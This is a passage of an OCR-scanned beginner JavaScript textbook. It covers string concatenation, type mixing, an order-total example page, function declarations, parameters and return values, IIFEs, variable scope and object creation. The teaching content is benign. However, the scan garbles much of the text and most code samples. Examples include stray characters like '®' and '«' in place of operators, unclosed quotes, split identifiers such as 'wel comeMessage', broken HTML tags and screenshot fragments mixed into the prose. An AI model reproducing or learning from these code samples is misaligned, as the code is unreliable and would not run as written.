to hold the cost of shipping 
the order; so the variables are 
named accordingly: subtotal 
and shipping. 


var el Total = document ,getElementById( ' total ') ; 
el Total .textContent = total; 


On the third line, the total is 
calculated by adding together 
these two values. 



This demonstrates how the 
mathematical operators can 
use variables that represent 
numbers. (That is, the numbers 
do not need to be written 
explicitly into the code.) 

The remaining six lines of code 
write the results to the screen. 
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STRING OPERATOR 


There is just one string operator: the + symbol. 
It is used to join the strings on either side of it. 


There are many occasions where 
you may need to join two or 
more strings to create a single 
value. Programmers call the 
process of joining together two 
or more strings to create one 
new string concatenation. 


For example ; you might have a first and last name in two separate 
variables and want to join them to show a full name, In this example, the 
variable called f ul 1 Name would hold the string Ivy Stone 1 . 

var first Name = 'Ivy 

var last Name = 'Stone 1 ; 

var full Name = firstName + lastName; 


MIXING NUMBERS AND STRINGS TOGETHER 


When you place quotes around 
a number, it is a string (not 
a numeric data type), and 
you cannot perform addition 
operations on strings, 

var costl = '7 J ; 

var cost2 ^ 1 9 ' ; 

var total = costl + cost2; 

You would end up with a string 

saying *79'. 


if you try to add a numeric data 
type to a string; then the number 
becomes part of the string, e.g., 
adding a house number to a 
street name: 

var number « 12; 

var street = 'Ivy Road'; 

var add - number + street; 

You would end up with a string 
saying 1 121 vy Road'. 


If you try to use any of the other 
arithmetic operators on a string, 
then the value that results is 
usually a value called NaN. This 
means "'not a number" 

var score = 'seven' ; 
var score2 * 'nine'; 
var total ® score * $core2; 

You would end up with the value 
NaN, 
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USING STRING OPERATORS 


JAVASCRIPT 


cQ2/js/string-operator.js 


var greeting = 'Howdy 
var name = 'Molly'; 

var wel comeMessage = greeting + name + '!'; 

var el = document. getEl ementBy Id ( 'greeting' ); 
el .textContent = wel comeMessage; 


HTML 


cOZ/stri ng-operator . h tml 


<hl>El derf 1 ower</ti 1> 

<di v id s "content w > 

<div id="greeting M class=“messagG ,, >He1 lo 
<span id- ,r name ,1 >friend</span>! 

</div> 

</di v> 

<script srC”"js/string«'aperator. js ,t ></scri pt> 


This example will display a 
personalized welcome message 
on the page. 

The first line creates a variable 
called greeting, which stores 
the message for the user. Here 
the greeting is the word Howdy, 

The second line creates a 
variable that stores the name of 
the user. The variable is called 
name, and the user in this case is 
Molly. 

The personal welcome message 
is created by concatenating (or 
joining) these two variables, 
adding an exclamation mark, and 
storing them in a new variable 
called wel comeMessage. 



Look back at the greeti ng 
variable on the first line, and 
note how there is a space 
after the word Howdy, If the 
space was omitted, the value 
of wel comeMessage would be 
"HowdyMol ly ! 11 
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mmm 


1 

Mac Book Pro 


CHVEtOPf S5S76O0* 


1 

Howdy Molly, please check your order: 

Custom sign: 

Montagu® House 

Total Ulas: 

14 

Suhtotah 

S?0 

Shipping: 

S7 

Grand totaJ: 





EXAMPLE 

BASIC JAVASCRIPT INSTRUCTIONS 


c02/example.htm} 

<!D0CTYPE html> 

<htm1> 

<head> 

<title>Java$cript &amp; jQuery - Chapter 2: Basic JavaScript Instructions 
Example</title> 

<link rel=" stylesheet" href="css/c02.c$s" /> 

</head> 

<body> 

<hl>Elderflower</hl> 

<div id=" content "> 

<div id="greeting u cla$s="mes$age">Hel 1 o !</di v> 

<tabl e> 

<tr> 

<td>Custom sign: </td> 

<td id="userSign"></td> 

</tr> 

<tr> 

<td>Total tiles: </td> 

<td id="ti les"></td> 

</tr> 

<tr> 

<td>Subtotal : </td> 

<td id="subTotal ">$</td> 

</tr> 

<tr> 

<td>Shipping: </td> 

<td id="shipping">|</td> 

</tr> 

<tr> 

<td>Grand total : </td> 

<td id="grandTotal ">$</td> 

</tr> 

</tabl e> 

<a href="#" class="action">Pay Now</a> 

</div> 

<script src="j s/example. js"></script> 

</body> 

</htnrl> 


HTML 
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EXAMPLE 

BASIC JAVASCRIPT 
INSTRUCTIONS 


This example combines several techniques that 
you have seen throughout this chapter. 

You can see the code for this example on the next two pages. Single line 
comments are used to describe what each section of the code does. 

To start, three variables are created that store information that is used 
in the welcome message. These variables are then concatenated (joined 
together) to create the full message the user sees. 

The next part of the example demonstrates how basic math is 
performed on numbers to calculate the cost of a sign. 

• A variable called sign holds the text the sign will show. 

• A property called length is used to determine how many characters 
are in the string (you will meet this property on p!28). 

• The cost of the sign (the subtotal) is calculated by multiplying the 
number of tiles by the cost of each one. 

• The grand total is created by adding $7 for shipping. 

Finally, the information is written into the page by selecting elements 
and then replacing the content of that element (using a technique you 
meet fully in Chapter 5). It selects elements from the HTML page using 
the value of their i d attributes and then updates the text inside those 
elements. 

Once you have worked your way through this example, you should have 
a good basic understanding of how data is stored in variables and how to 
perform basic operations with the data in those variables, 
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EXAMPLE 

BASIC JAVASCRIPT INSTRUCTIONS 


c02/examp1e.html 

<!D0CTYPE html> 
<htm1> 

<head> 


HTML 


<title>JavaScript Samp; jQuery - Chapter 2: Basic JavaScript Instructions - 
Exaraple</titl e> 

<1ink rel '"stylesheet" href ="css/c02. css" /> 

</head> 

<body> 

<hl>El derf 1 ower</hl> 

<div id=" content "> 

<div id= "greeting" cl as s= "message ">Heno!</div> 

<table> 


<tr> 


<td>Custom sign: </td> 

<td id="userSign"></td> 

</tr> 

<tr> 

<td>Total tiles: </td> 

<td i£h"tiles"></td> 

</tr> 

<tr> 

<td>Subtotal : </td> 

<td id="subTotal ">$</td> 

</tr> 

<tr> 

<td>Shipping: </td> 

<td id="shipping“>$</td> 

</tr> 

<tr> 

<td>Grand total : </td> 

<td id="grandTotal ">$</td> 

</tr> 

</tabl e> 

<a href="#" class=”action ,, >Pay Now</a> 
</div> 

<scri pt src=" j s/exampl e. j s"></scri pt> 
</body> 

</html> 
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SUMMARY 

BASIC JAVASCRIPT INSTRUCTIONS 




A script is made up of a series of statements. Each 
statement is like a step in a recipe. 





Scripts contain very precise instructions. For example, 
you might specify that a value must be remembered 
before creating a calculation using that value. 


Variables are used to temporarily store pieces of 
information used in the script. 


Arrays are special types of variables that store more 
than one piece of related information. 

JavaScript distinguishes between numbers (0-9), 
strings (text), and Boolean values (true or false). 


Expressions evaluate into a single value. 



Expressions rely on operators to calculate a value. 





EXAMPLE 

BASIC JAVASCRIPT INSTRUCTIONS 


JAVASCRIPT 


c02/j$/example,js 


// Create variables for the welcome message 
var greeting = 'Howdy 
var name = 'Molly'; 

var message = ', please check your order:'; 

// Concatenate the three variables above to create the welcome message 
var welcome = greeting + name + message; 


// Create variables to hold details about the sign 

var sign = 'Montague House'; 

var tiles = sign. length; 

var subTotal = tiles * 5; 

var shipping = 7; 

var grandTotal = subTotal + shipping; 


// Get the element that has an id of greeting 
var el = document. getElementBy Id ( ' greet i ng’ ) ; 

// Replace the content of that element with the personalized welcome message 
el .textContent = welcome; 

// Get the element that has an id of userSign then update its contents 
var elSign = document. getElementByldf ' userSign' )-; 
el Sign. textContent = sign; 


// Get the element that has an id of tiles then update its contents 
var el Tiles = document.getElementById{' tiles’) ; 
el Tiles. textContent = tiles; 


// Get the element that has an id of subTotal then update its contents 
var el SubTotal = document. getEl ementBy Id ( ' subTotal 1 ) ; 
el SubTotal .textContent - + subTotal; 

// Get the element that has an id of shipping then update its contents 
var el SubTotal = document. getEl ementByldC ' shi pping' ) ; 
el SubTotal .textContent = '$' + shipping; 

// Get the element that has an id of grandTotal then update its contents 
var elGrandTotal = document. getElementByldf 'grandTotal ') ; 
el GrandTotal. textContent = '$' + grandTotal; 


BASIC JAVASCRIPT INSTRUCTIONS (83 




SUMMARY 

BASIC JAVASCRIPT INSTRUCTIONS 


A script is made up of a series of statements. Each 
statement is like a step in a recipe. 

Scripts contain very precise instructions. For exampl 
you might specify that a value must be remembered 
before creating a calculation using that value. 

Variables are used to temporarily store pieces of 
information used in the script. 

Arrays are special types of variables that store more 
than one piece of related information. 

avaScript distinguishes between numbers (0-9), 
strings (text), and Boolean values (true or false). 

Expressions evaluate into a single value. 


Expressions rely on operators to calculate a value. 
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3 

FUNCTIONS, 
METHODS & 
OBJECTS 



Browsers require very detailed instructions about what 
we want them to do. Therefore, complex scripts can run 
to hundreds (even thousands) of lines. Programmers use 
functions, methods, and objects to organize their code. 
This chapter is divided into three sections that introduce: 

functions & 

METHODS 

Functions consist of a 
series of statements 
that have been grouped 
together because they 
perform a specific task. 

A method is the same as a 
function, except methods 
are created inside (and are 
part of) an object. 


OBJECTS 

In Chapter 1 you saw that 
programmers use objects 
to create models of the 
world using data, and that 
objects are made up of 
properties and methods. 
In this section, you learn 
how to create your own 
objects using JavaScript. 


BUILT-IN 

OBJECTS 

The browser comes with 
a set of objects that act 
like a toolkit for creating 
interactive web pages. 
This section introduces 
you to a number of built-in 
objects, which you will 
then see used throughout 
the rest of the book. 


FUNCTIONS, METHODS & OBJECTS 





WHAT IS A FUNCTION? 


Functions let you group a series of statements together to perform a 
specific task, If different parts of a script repeat the same task, you can 
reuse the function (rather than repeating the same set of statements). 


Grouping together the 
statements that are required to 
answer a question or perform a 
task helps organize your code. 

Furthermore, the statements in a 
function are not always executed 
when a page loads, so functions 
also offer a way to store the steps 
needed to achieve a task. The 
script can then ask the function 
to perform all of those steps as 
and when they are required. 

For example, you might have 
a task that you only want to 
perform if the user dicks on a 
specific element in the page. 

If you are going to ask the 
function to perform its task 
later, you need to give your 
function a name. That name 
should describe the task it is 
performing. When you ask it to 
perform its task, it is known as 
calling the function. 


The steps that the function 
needs to perform in order to 
perform its task are packaged 
up in a code block. You may 
remember from the last chapter 
that a code block consists of one 
or more statements contained 
within curly braces, (And you do 
not write a semicolon after the 
dosing curly brace - like you do 
after a statement.) 

5ome functions need to be 
provided with information in 
order to achieve a given task. For 
example, a function to calculate 
the area of a box would need 
to know its width and height. 
Pieces of information passed 
to a function are known as 
parameters. 

When you write a function and 
you expect it to provide you 
with an answer, the response is 
known as a return value. 


On the right, there is an example 
of a function in the JavaScript 
file. It is called updateKessageO . 

Don't worry if you do not 
understand the syntax of the 
example on the right; you will 
take a closer look at how to write 
and use functions in the pages 
that follow. 

Remember that programming 
languages often rely upon on 
name/value pairs. The function 
has a name, updateMessage, 
and the value is the code block 
(which consists of statements). 
When you call the function by its 
name, those statements will run. 

You can also have anonymous 
functions. They do not have a 
name, so they cannot be called. 
Instead, they are executed as 
soon as the interpreter comes 
across them. 
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A BASIC FUNCTION 


In this example, the user is 
shown a message at the top of 
the page. The message is held 
in an HTML element whose id 
attribute has a value of message. 
The message is going to be 
changed using JavaScript. 


tag, you can see the link to the 
JavaScript file. The JavaScript 
file starts with a variable used 
to hold a new message, and is 
followed by a function called 
updateMessage{). 


Before the dosing </body> 


You do not need to worry about 
how this function works yet - you 
will learn about that over the 


next few pages. For the moment, 
it is just worth noting that inside 
the curly braces of the function 
are two statements. 


c03/basi c-function.html 


<!D0CTYPE html> 

<html> 

<head> 

<title>Basic Function</titl e> 

<1 ink rel^stylesheet 1 ' href^'css/cOS.css" /> 
</head> 

<body> 

<hl>T ravel Worthy</h 1> 

<di v i denies s age" > Wei come to our site!</div> 
<script s rc= 11 j s /bas i c-f uncti on. js ll ></script> 
</body> 

</html> 



cOS/js/basic-function , j$ 


var msg - 'Sign up to receive our newsletter for 10% off! 1 ; 
function updateMessageQ { 
var el = document .getEl ementByldCmessage 1 ) ; 
el .textContent - msg; 

} 

updateMessage{) ; 


These statements update the 



message at the top of the page. 
The function acts like a store; it 
holds the statements that are 
contained in the curly braces 


until you are ready to use them. 
Those statements are not run 
until the function is called. The 
function is only called on the last 
line of this script. 
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DECLARING A FUNCTION 


To create a function, you give it a name and then write the statements 
needed to achieve its task inside the curly braces. 

This is known as a function declaration. 


You declare a function using the 
function keyword. 

You give the function a name 
(sometimes called an identifier) 
followed by parentheses. 

The statements that perform 
the task sit in a code block. 

(They are inside curly braces.) 

FUNCTION KEYWORD 

1 

FUNCTION NAME 

1 


l f 

function 

1 1 

sayHel1o() \ 

r 

i 

document.wri te( 1 Hel 

} 

1 

Ho! 1 ); 

1 


I 

CODE BLOCK ON CURLY BRACES) 


This function is very basic (it 
only contains one statement), 
but it illustrates how to write a 
function. Most functions that 
you will see or write are likely to 
consist of more statements. 

The point to remember is that 
functions store the code 
required to perform a specific 
task, and that the script can ask 
the function to perform that task 
whenever needed. 

If different parts of a script need 
to perform the same task, you 
do not need to repeat the same 
statements multiple times - you 
use a function to do it (and reuse 
the same code). 
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CALLING A FUNCTION 


Having declared the function, you can then execute all of the statements 
between its curly braces with just one line of code. 

This is known as calling the function. 


To run the code in the function, 
you use the function name 
followed by parentheses. 


In programmer-speak, you 
would say that this code calls a 
function. 


You can call the same function 
as many times as you want 
within the same JavaScript file. 


FUNCTION NAME 

i * , 

sayHel lo() ; 


1. The function can store the 
instructions for a specific task, 

2. When you need the script to 
perform that task, you call the 
function. 

3. The function executes the 
code in that code block, 

4 . When it has finished, the 
code continues to run from 
the point where if was initially 
called. 


(T) function sayHelloO { 

( % ) document * write ( 1 2 3 4 He! 1 ol 1 ) ;; 

t > 

// Code before hello..* 

( 2 ) sayHel lo {) ; 

( a )// Code after hello.** 

t 


Sometimes you will see a 
function called before it has 
been declared. This still 
works because the interpreter 
runs through a script before 
executing each statement, 
so if wiH know that a function 
declaration appears later in the 
script. But for the moment, we 
will declare the function before 
calling it. 
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DECLARING FUNCTIONS 
THAT NEED INFORMATION 


Sometimes a function needs specific information to perform its task. 
In such cases, when you declare the function you give it parameters. 
Inside the function, the parameters act like variables. 


If a function needs information to work, you indicate 
what It needs to know in parentheses after the 
function name* 


The items that appear inside these parentheses are 
known as the parameters of the function- Inside the 
function those words act like variable names. 


PARAMETERS 

l 1 1 

function getArea (width, height) { 
return width * height; 

} 1 1 r 1 

THE PARAMETERS ARE USED LIKE 
VARIABLES WITHIN THE FUNCTION 


This function will calculate and return the area of a 
rectangle. To do this, it needs the rectangle s width 
and height. Each time you call the function these 
values could be different. 

This demonstrates how the code can perform a task 
without knowing the exact details in advance, as 
long as it has rules it can follow to achieve the task. 


So, when you design a script, you need to note the 
information the function will require in order to 
perform its task. 

If you look inside the function, the parameter names 
are used just as you would use variables. Here, the 
parameter names width and hei ght represent the 
width and height of the wall. 
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CALLING FUNCTIONS 
THAT NEED INFORMATION 


When you call a function that has parameters, you specify the values it 
should use in the parentheses that follow its name. The values are called 
arguments, and they can be provided as values or as variables. 

ARGUMENTS AS VALUES ARGUMENTS AS VARIABLES 

When the function below is called, the number 3 will You do not have to specify actual values when 

be used for the width of the wall, and 5 will be used calling a function - you can use variables in their 

for its height. place* So the following does the same thing. 

getArea(3, 5); wallWidth = 3; 

wallHeight = 5; 

getAreafwal 1 Width, wallHeight); 


I 

PARAMETERS VS ARGUMENTS 

People often use the terms parameter and argument 
interchangeably, but there is a subtle difference. 

On the left-hand page, when the function is 
declared, you can see the words width and height 
used On parentheses on the first line). Inside the 
curly braces of the function, those words act like 
variables. These names are the parameters. 


On this page, you can see that the getArea() 
function is being called and the code specifies real 
numbers that will be used to perform the calculation 
(or variables that hold real numbers). 

These values that you pass into the code (the 
information it needs to calculate the size of this 
particular wall) are called arguments. 
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GETTING A SINGLE VALUE 
OUT OF A FUNCTION 


Some functions return information to the code that called them. 

For example, when they perform a calculation, they return the result. 


This calculateAreaO function Inside the function, a variable The return keyword is used to 

returns the area of a rectangle to called area is created. It holds return a value to the code that 

the code that called it. the calculated area of the box. called the function. 


function cal cul ateArea(wi dth 9 height) { 
var area = width * height; 
return area; 

} 

var wallOne = calculateArea(3 9 5); 
var wallTwo = cal cul ateArea(8, 5); 

Note that the intrepreter leaves the function when return is used. It goes back to the statement that called it. 
If there had been any subsequent statements in this function, they would not be processed. 


The wall One variable holds the 
value 15, which was calculated 
by the calcutateAreaO 
function. 


The wal 1 Two variable holds the 
value 40, which was calculated 
by the same cal cul ateArea () 

function. 


This also demonstrates how 
the same function can be used 
to perform the same steps with 
different values. 
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GETTING MULTIPLE VALUES 
OUT OF A FUNCTION 


Functions can return more than one value using an array. 

For example, this function calculates the area and volume of a box. 


First, a new function is created 
called get$ize(), The area of 
the box is calculated and stored 
in a variable called area. 


The volume is calculated and 
stored tn a variable called 
volume. Both are then placed 
into an array called sizes. 


This array is then returned to the 
code that called the getSizeO 
function, allowing the values to 
be used. 


function getSize(width, height, depth) { 
var area = width * height; 
var volume = width * height * depth; 
var sizes = [area, volume]; 
return sizes; 

} 

var areaOne = getSize(3, 2, 3) [0] ; 
var volumeOne = getSize(3, 2, 3) [1] ; 


The areaOne variable holds 
the area of a box that is 3 x 2. 
The area is the first value in the 
sizes array. 


The volumeOne variable holds 
the volume of a box that is 3 x 
2x3. The volume is the second 
value in the sizes array* 


FUNCTIONS, METHODS & OBJECTS l 95 



■ 


ANONYMOUS FUNCTIONS 
& FUNCTION EXPRESSIONS 


Expressions produce a value. They can be used where values are expected. 
If a function is placed where a browser expects to see an expression, 

(e.g., as an argument to a function), then it gets treated as an expression. 


FUNCTION DECLARATION 
A function declaration creates a function that you 
can call later in your code. It is the type of function 
you have seen so far in this book. 

In order to call the function later in your code, you 
must give it a name, so these are known as named 
functions. Below, a function called area() is 
declared, which can then be called using its name. 


FUNCTION EXPRESSION 

[f you put a function where the interpreter would 
expect to see an expression, then it is treated as an 
expression, and it is known as a function expression. 
In function expressions, the name is usually omitted. 
A function with no name is called an anonymous 
function. Below, the function is stored in a variable 
called area. It can be called like any function created 
with a function deciaration. 


function area(width, height) { 


var area - function (width, height) ( 

return width * height; 

h 


return width * height; 

}; 

var size = area {3, 4); 


var size = area{3, 4); 


As you will see on p456, the interpreter always 
looks for variables and function declarations before 
going through each section of a script, line-by-line, 
This means that a function created with a function 
declaration can be called before it has even been 
declared. 


In a function expression, the function is not 
processed until the interpreter gets to that 
statement. This means you cannot call this function 
before the interpreter has discovered it. It also means 
that any code that appears up to that point could 
potentially alter what goes on inside this function. 


For more information about how variables and 
functions are processed first, see the discussion 
about execution context and hoisting on 
p452 - p457 
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— 


IMMEDIATELY INVOKED 
FUNCTION EXPRESSIONS 


This way of writing a function is used in several different situations. 

Often functions are used to ensure that the variable names do not conflict 
with each other (especially if the page uses more than one script). 

IMMEDIATELY INVOKED FUNCTION WHEN TO USE ANONYMOUS 


EXPRESSIONS (IIFE) 

Pronounced "iffy," these functions are not given 
a name. Instead, they are executed once as the 
interpreter comes across them. 

Betow, the variable called area will hold the value 
returned from the function (rather than storing the 
function itself so that it can be called later). 


var area - |Jf unct 1 on { ) { 
var width = 3; 
var height = 2 ; 
return width * height; 


o ) 


The final parentheses (shown on green) after 
the closing curly brace of the code block tell the 
interpreter to call the function immediately. 

The grouping operators (shown on pink) are 
parentheses there to ensure the intrepreter treats 
this as an expression. 

You may see the final parentheses in an IIFE 
placed after the closing grouping operator but It 
is commonly considered better practice to place 
the final parentheses before the closing grouping 
operator, as shown in the code above. 


FUNCTIONS AND IIFES 

You will see many ways in which anonymous 
function expressions and tIFEs are used throughout 
the book. 

They are used for code that only needs to run once 
within a task, rather than repeatedly being called by 
other parts of the script. For example: 

• As an argument when a function Is called 
(to calculate a value for that function). 

» To assign the value of a property to an object, 

• In event handlers and listeners (see Chapter 6) 
to perform a task when an event occurs. 

• To prevent conflicts between two scripts that 
might use the same variable names (see p99), 

IIFEs are commonly used as a wrapper around a 
set of code. Any variables declared within that 
anonymous function are effectively protected from 
variables in other scripts that might have the same 
name. This is due to a concept called scope, which 
you meet on the next page. It is also a very popular 
technique with jQuery. 
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VARIABLE SCOPE 


The location where you declare a variable will affect where it can be used 
within your code. If you declare it within a function, it can only be used 
within that function. This is known as the variable's scope. 


LOCAL VARIABLES 

When a variable is created inside a function using the 
var keyword, it can only be used in that function. 

It is called a local variable or function-level variable. 
It is said to have local scope or function-level scope. 
It cannot be accessed outside of the function in 
which it was declared. Below, area is a local variable. 

The interpreter creates local variables when the 
function is run, and removes them as soon as the 
function has finished its task. This means that: 

• If the function runs twice, the variable can have 
different values each time. 

• Two different functions can use variables with the 
same name without any kind of naming conflict. 


GLOBAL VARIABLES 

if you create a variable outs/de of a function, then it 
can be used anywhere within the script. It is called a 
global variable and has global scope In the example 
shown, wall Si ze is a global variable. 

Global variables are stored in memory for as long 
as the web page is loaded into the web browser. 

This means they take up more memory than local 
variables, and it also increases the risk of naming 
conflicts (see next page). For these reasons, you 
should use local variables wherever possible. 

If you forget to declare a variable using the var 
keyword, the variable will work, but it will be treated 
as a globai variable (this is considered bad practice). 


function get Area (wi dth, height) { 
var area = width * height; 
return area; 


var wallSize * getArea{3, 2); 
document .write (wal 1 Size) ; 


• LOCAL (OR FUNCTION-LEVEL) SCOPE 
0 GLOBAL SCOPE 
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HOW MEMORY & 
VARIABLES WORK 


Global variables use more memory. The browser has to remember them 
for as long as the web page using them is loaded. Local variables are only 
remembered during the period of time that a function is being executed. 


CREATING THE VARIABLES IN CODE 

Each variable that you declare takes up memory. 
The more variables a browser has to remember, 
the more memory your script requires to run. 
Scripts that require a lot of memory can perform 
slower, which in turn makes your web page take 
longer to respond to the user 


NAMING COLLISIONS 

You might think you would avoid naming collisions; 
after all you know which variables you are using. 

But many sites use scripts written by several people. 
If an HTML page uses two JavaScript files, and both 
have a global variable with the same name, it can 
cause errors, imagine a page using these two scripts: 


var width = 15; 
var height = 30; 
var isWall = true; 
var canPaint = true; 


A variable actually references a value that is stored 
in memory. The same value can be used with more 
than one variable: 



// Show size of the building plot 
function showPl otSize() { 
var width = 3; 
var height = 2; 

return ’Area; " + (width * height); 

} 

var msg * showAreaQ 


// Show size of the garden 
function showGardenSizef) ( 
var width = 12; 
var height ~ 25; 
return width * height; 

i 

var msg * showGardenSi ze() ; 


Here the values for the wi dth and hei ght of the wall 
are stored separately, but the same value of true 
can be used for both i $Wal 1 and canPaint, 


0 Variables in global scope: have naming conflicts. 
0 Variables in function scope: there is no conflict 
between them. 
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WHAT IS AN OBJECT? 



Objects group together a set of variables and functions to create a model 
of a something you would recognize from the real world. In an object, 
variables and functions take on new names. 


IN AN OBJECT: VARIABLES BECOME 
KNOWN AS PROPERTIES 

If a variable is part of an object, it is called a 
property Properties tell us about the object, such as 
the name of a hotel or the number of rooms it has. 
Each individual hotel might have a different name 
and a different number of rooms. 


IN AN OBJECT: FUNCTIONS BECOME 
KNOWN AS METHODS 

If a function is part of an object, it is called a method. 
Methods represent tasks that are associated with 
the object. For example, you can check how many 
rooms are available by subtracting the number of 
booked rooms from the total number of rooms. 
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This object represents a hotel. It has five properties and one method. 
The object is in curly braces. It is stored in a variable called hotel . 


Like variables and named functions, 
properties and methods have a 
name and a value. In an object, 
that name is called a key 


An object cannot have two keys 
with the same name. This is 
because keys are used to access 
their corresponding values, 


The value of a property can be a 
string, number, Boolean, array, or 
even another object. The value of a 
method is always a function. 


var hotel = { 


0 KEY 
0 VALUE 


name: 'Quay' , 


rooms: 40, 


booked: 25, 

- 

gym: true. 


roomTypes: ['twin 1 , 'double', 'suite']. 



PROPERTIES 

These are variables 


checkAvai labil ity: function() { 
return this. rooms - this. booked; 

} 


METHOD 

This is a function 


}; 


Above you can see a hotel object. The object 
contains the following key/value pairs: 


PROPERTIES: 

KEY 

VALUE 


name 

string 


rooms 

number 


booked 

number 


gym 

Boolean 


roomTypes 

array 

METHODS: 

checkAvailability 

function 


As you will see over the next few pages, this is just 
one of the ways you can create an object. 


Programmers use a lot of name/value pairs: 

• HTML uses attribute names and values, 

• CSS uses property names and values. 

In JavaScript: 

• Variables have a name and you can assign them a 
value of a string, number, or Boolean. 

• Arrays have a name and a group of values. (Each 
item in an array is a name/value pair because it 
has an index number and a value.) 

• Named functions have a name and value that is a 
set of statements to run if the function is called. 

• Objects consist of a set of name/value pairs 
(but the names are referred to as keys). 
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CREATING AN OBJECT: 
LITERAL NOTATION 


Literal notation is the easiest and most popular way to create objects. 
(There are several ways to create objects.) 


The object is the curly braces and their contents. Separate each key from its value using a colon. 

The object is stored in a variable called hotel, p Separate each property and method with a comma 

so you would refer to it as the hotel object, (but not after the last value)* 


var hotel = { 


name: 'Quay', 
rooms: 40, 
booked: 25, 


checkAvai lability: functionQ { 
return this. rooms - this. booked; 

} 


}; 


PROPERTIES 


METHOD 


0 OBJECT 
0 KEY 
0 VALUE 


In the checkAvai 1 abi 1 i ty () method, the thi s 
keyword is used to indicate that it is using the rooms 
and booked properties of this object. 


When setting properties, treat the values like you 
would do for variables: strings live in quotes and 
arrays live in square brackets. 
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ACCESSING AN OBJECT 
AND DOT NOTATION 


You access the properties or methods of an object using dot notation. 
You can also access properties using square brackets. 


To access a property or method of an object you use 
the name of the object followed by a period, then 
the name of the property or method you want to 
access. This is known as dot notation. 




OBJECT 

I 

var 

hotel Name = 

1 1 

hotel 

var 

rooms Free = 

hotel 



MEMBER 


The period is known as the member operator. The 
property or method on its right is a member of the 
object on its left. Here, two variables are created to 
hold the hotel name and number of vacant rooms. 


PROPERTY/METHOD NAME 


.name; 

.checkAvai 1 abi 1 i ty() ; 

OPERATOR 


You can also access the properties of an object (but 
not its methods) using square bracket syntax. 


This time the object name is followed by square 
brackets, and the property name is inside them. 


var hotel Name = hotel ['name'] ; 


This notation is used most commonly used when: 

• The name of the property is a number (technically allowed, but should generally be avoided) 

• A variable is being used in place of the property name (you will see this technique used in Chapter 12) 
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CREATING OBJECTS USING 
LITERAL NOTATION 


This example starts by creating 

an object using literal notation, c3/j s/object- literal *js 


JAVASCRIPT 


This object is called hotel which 
represents a hotel called Quay 
with 40 rooms (25 of which have 
been booked). 

Next, the content of the page 
is updated with data from this 
object. It shows the name of the 
hotel by accessing the object's 
name property and the number 
of vacant rooms using the 
checkAvailabi lityf) method. 

To access a property of this 
object, the object name is 
followed by a dot (the period 
symbol) and the name of the 
property that you want. 

Similarly, to use the method, 
you can use the object name 
followed by the method name, 
hotel - c hec kAvai 1 abi 1 i ty ( } 

If the method needs parameters, 
you can supply them in the 
parentheses (just like you can 
pass arguments to a function). 


var hotel = { 
name: ‘Quay 1 , 
rooms: 40, 
booked: 25, 

checkAvai lability: functionQ { 
return this* rooms - this. booked; 

}; 

var elName = document. getEl ementByldf ' hotel Name' ) ; 
elName.textContent = hotel. name; 

var el Rooms = document. getEl ementBy Id (’ rooms '} ; 
el Rooms. textContent = hotel .checkAvailabi 1 ity() ; 
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CREATING MORE 
OBJECT LITERALS 


JAVASCRIPT 


cQ3/js/objeet-1 iteraIZ.js 


var hotel = { 
name: 'Park', 
rooms: 120, 
booked: 77, 

checkAvail abi 1 ity: function() { 
return this. rooms - this. booked; 

} 

h 


Here you can see another object 
Again it is called hotel , but this 
time the model represents a 
different hotel. Fora moment 
imagine that this is a different 
page of the same travel website. 

The Park hotel is larger It has 
120 rooms and 77 of them are 
booked. 


var el Name = document. getE1ementById{ ‘hotel Name') ; 
elName. textContent = hotel. name; 

var el Rooms = document .getEl ementByld ( ' rooms ') ; 
el Rooms . textContent = hotel .cheekAvai 1 abi 1 i ty() ; 


The only things changing in the 
code are the values of the hotel 
object s properties: 

• The name of the hotel 

• How many rooms it has 

• How many rooms are booked 



The rest of the page works in 
exactly the same way. The name 
is shown using the same code. 
The checkAvail abi 1 i ty() 
method has not changed and is 
called in the same way. 

If this site had 1,000 hotels, 
the only thing that would 
need to change would be the 
three properties of this object. 
Because we created a model for 
the hotel using data, the same 
code can access and display the 
details for any hotel that follows 
the same data model 


If you had two objects on the 
same page, you would create 
each one using the same 
notation but store them in 
variables with different names. 
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CREATING AN OBJECT: 
CONSTRUCTOR NOTATION 


The new keyword and the object constructor create a blank object. 
You can then add properties and methods to the object. 


First , you create a new object using a combination 
of the new key word and the Object () constructor 
function. (This function is part of the JavaScript 
language and is used to create objects.) 


Next, having created the blank object, you can add 
properties and methods to it using dot notation. 
Each statement that adds a property or method 
should end with a semicolon. 


var hotel = new Object(); 


hotel. name = 'Quay 1 ; 
hotel, rooms = 40; 
hotel. booked = 25; 


hotel .checkAvai lability = function() { 
return this. rooms - this. booked; 

}; 


PROPERTIES 


METHOD 


• OBJECT 

# KEY 
0 VALUE 


You can use this syntax to add properties and 
methods to any object you have created (no matter 
which notation you used to create it). 


To create an empty object using literal notation use: 

var hotel = {} 

The curly brackets create an empty object. 
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UPDATING AN OBJECT 


To update the value of properties, use dot notation or square brackets. 
They work on objects created using literal or constructor notation. 

To delete a property, use the delete keyword. 


To update a property, use the same technique that If the object does not have the property you are 

was shown on the left-hand page to add properties trying to update, it will be added to the object, 

to the object, but give it a new value. 


OBJECT PROPERTY NAME PROPERTY VALUE 


hotel .name = 1 Park 1 ; 

i i 

MEMBER OPERATOR ASSIGNMENT OPERATOR 


You can also update the properties of an object (but 
not its methods) using square bracket syntax. The 
object name is followed by square brackets, and the 
property name is inside them. 


A new value for the property is added after the 
assignment operator. Again, if the property you are 
attempting to update does not exist, it wifi be added 
to the object. 


hotel ['name'] = 1 Park 1 ; 


To delete a property, use the del ete keyword If you just want to dear the value of a property, you 

followed by the object name and property name, could set it to a blank string. 


delete hotel. name; 


hotel .name 


i I 
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CREATING MANY OBJECTS 
CONSTRUCTOR NOTATION 


Sometimes you will want several objects to represent similar things. 
Object constructors can use a function as a template for creating objects. 
First, create the template with the object's properties and methods. 


A function called Hotel will be used as a template 
for creating new objects that represent hotels. Like 
all functions, it contains statements. In this case, 
they add properties or methods to the object. 


The function has three parameters. Each one sets 
the value of a property in the object. The methods 
will be the same for each object created using this 
function. 


function Hotel (name, rooms, booked) { 


this. name = name; 
this. rooms = rooms; 
thi s . booked = booked; 


PROPERTIES 


thi s.checkAvai lability = functionf) { 
return this. rooms - this. booked; 

}; 


h METHOD 


} 


• KEY 
0 VALUE 


The this keyword is used instead of the object 
name to indicate that the property or method 
belongs to the object that tb/s function creates. 

Each statement that creates a new property or 
method for this object ends in a semicoion (not a 
comma, which is used in the literal syntax). 


The name of a constructor function usually begins 
with a capital letter (unlike other functions, which 
tend to begin with a lowercase character). 

The uppercase letter is supposed to help remind 
developers to use the new keyword when they create 
an object using that function (see next page). 
